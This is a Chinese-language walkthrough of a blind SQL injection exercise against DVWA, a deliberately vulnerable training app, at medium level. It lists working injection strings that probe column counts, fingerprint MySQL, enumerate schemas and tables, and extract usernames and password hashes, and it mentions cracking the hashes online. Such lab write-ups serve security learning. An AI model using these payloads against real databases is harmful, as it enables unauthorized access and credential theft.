Blind SQL Injection on DVWA(Medium Level)
Vulnerability: SQL Injection (Blind)與前面的Vulnerability: SQL Injection這兩個頁面的差別就在於有沒有有用的錯誤資訊或者我們已經習慣的反饋內容。
本文的終極任務是獲得user和password。
1.簡單的輸入測試
輸入2得到:
輸入2 or 1=1得到:
輸入 2' or '1'='1得到:
以上說明了 $id = mysql_real_escape_string($id);過濾掉了所有的引號,沒有錯誤生成說明錯誤被過濾掉了,這也是為什麼medium比low難了。
2.獲得這個查詢的屬性的數量
輸入2 order by 1 #:
輸入2 order by 2 #:
輸入2 order by 3 #:
說明這個查詢有2個屬性。
3.檢查語法
輸入2 union select 1,2 #:
4.獲得資料庫的相關資訊
輸入2 and 1=0 union select null,user() #:使用 and 1=0使前半句查詢失效。
5.確定使用的是什麼資料庫以及它的版本
我們知道只有MySQL使用version_comment函式,若能得到它的返回值則說明資料庫是MYSQL。
首先將version_comment的第一個字母與’5‘做比較,如果為’5‘則返回’1‘,否則返回’0‘,但不管怎麼樣,只要version_comment有返回就說明這個資料庫是MySQL。
輸入2 and 1=0 union select null,substring(@@version_comment,1,1)=5 #得到:
說明資料庫是MYSQL。
更簡單的辦法得到MySQL的版本:
輸入2 and 1=0 union select null,version() #得到:
還有另外一種更難的辦法得到版本號——使用substring函式,一位一位的進行比較,對於’.'對應的十進位制是46。在http://blog.csdn.net/youb11/article/details/45674605中有提到這個方法。具體如下:
2 and 1=0 union select null,substring(@@version,1,1)=5 #
2 and 1=0 union select null,ascii(substring(@@version,2,1))=46 #
2 and 1=0 union select null,substring(@@version,3,1)>5 # 用二分查詢發確定每一位
······
6.獲得當前資料庫的名字
輸入2 and 1=0 union select null,database() #得到:
7.獲得schema列表
輸入2 and 1=0 union select null,table_schema from information_schema.tables #得到:
確定“dvwa” schema對應於“dvwa”資料庫。
8.獲得與“dvwa” schema相關的表
輸入2 and 1=0 union select null,table_name from information_schema.tables where table_schema=0x64767761 #:
table_schema後面不能接字串只能接對應的ASCII的原因在http://blog.csdn.net/youb11/article/details/45696603有介紹。
9.獲得表users的各列的名字
輸入2 and 1=0 union select null,concat(table_name,0x0a,column_name) from information_schema.columns where table_name=0x7573657273 #:
從上面的輸出中找到了user和password這兩列
10.提取出使用者名稱和密碼
輸入2 and 1=0 union select null,concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #:
對於一些密碼的雜湊值可以在網上解密出來。
任務完成(づ ̄ 3 ̄)づ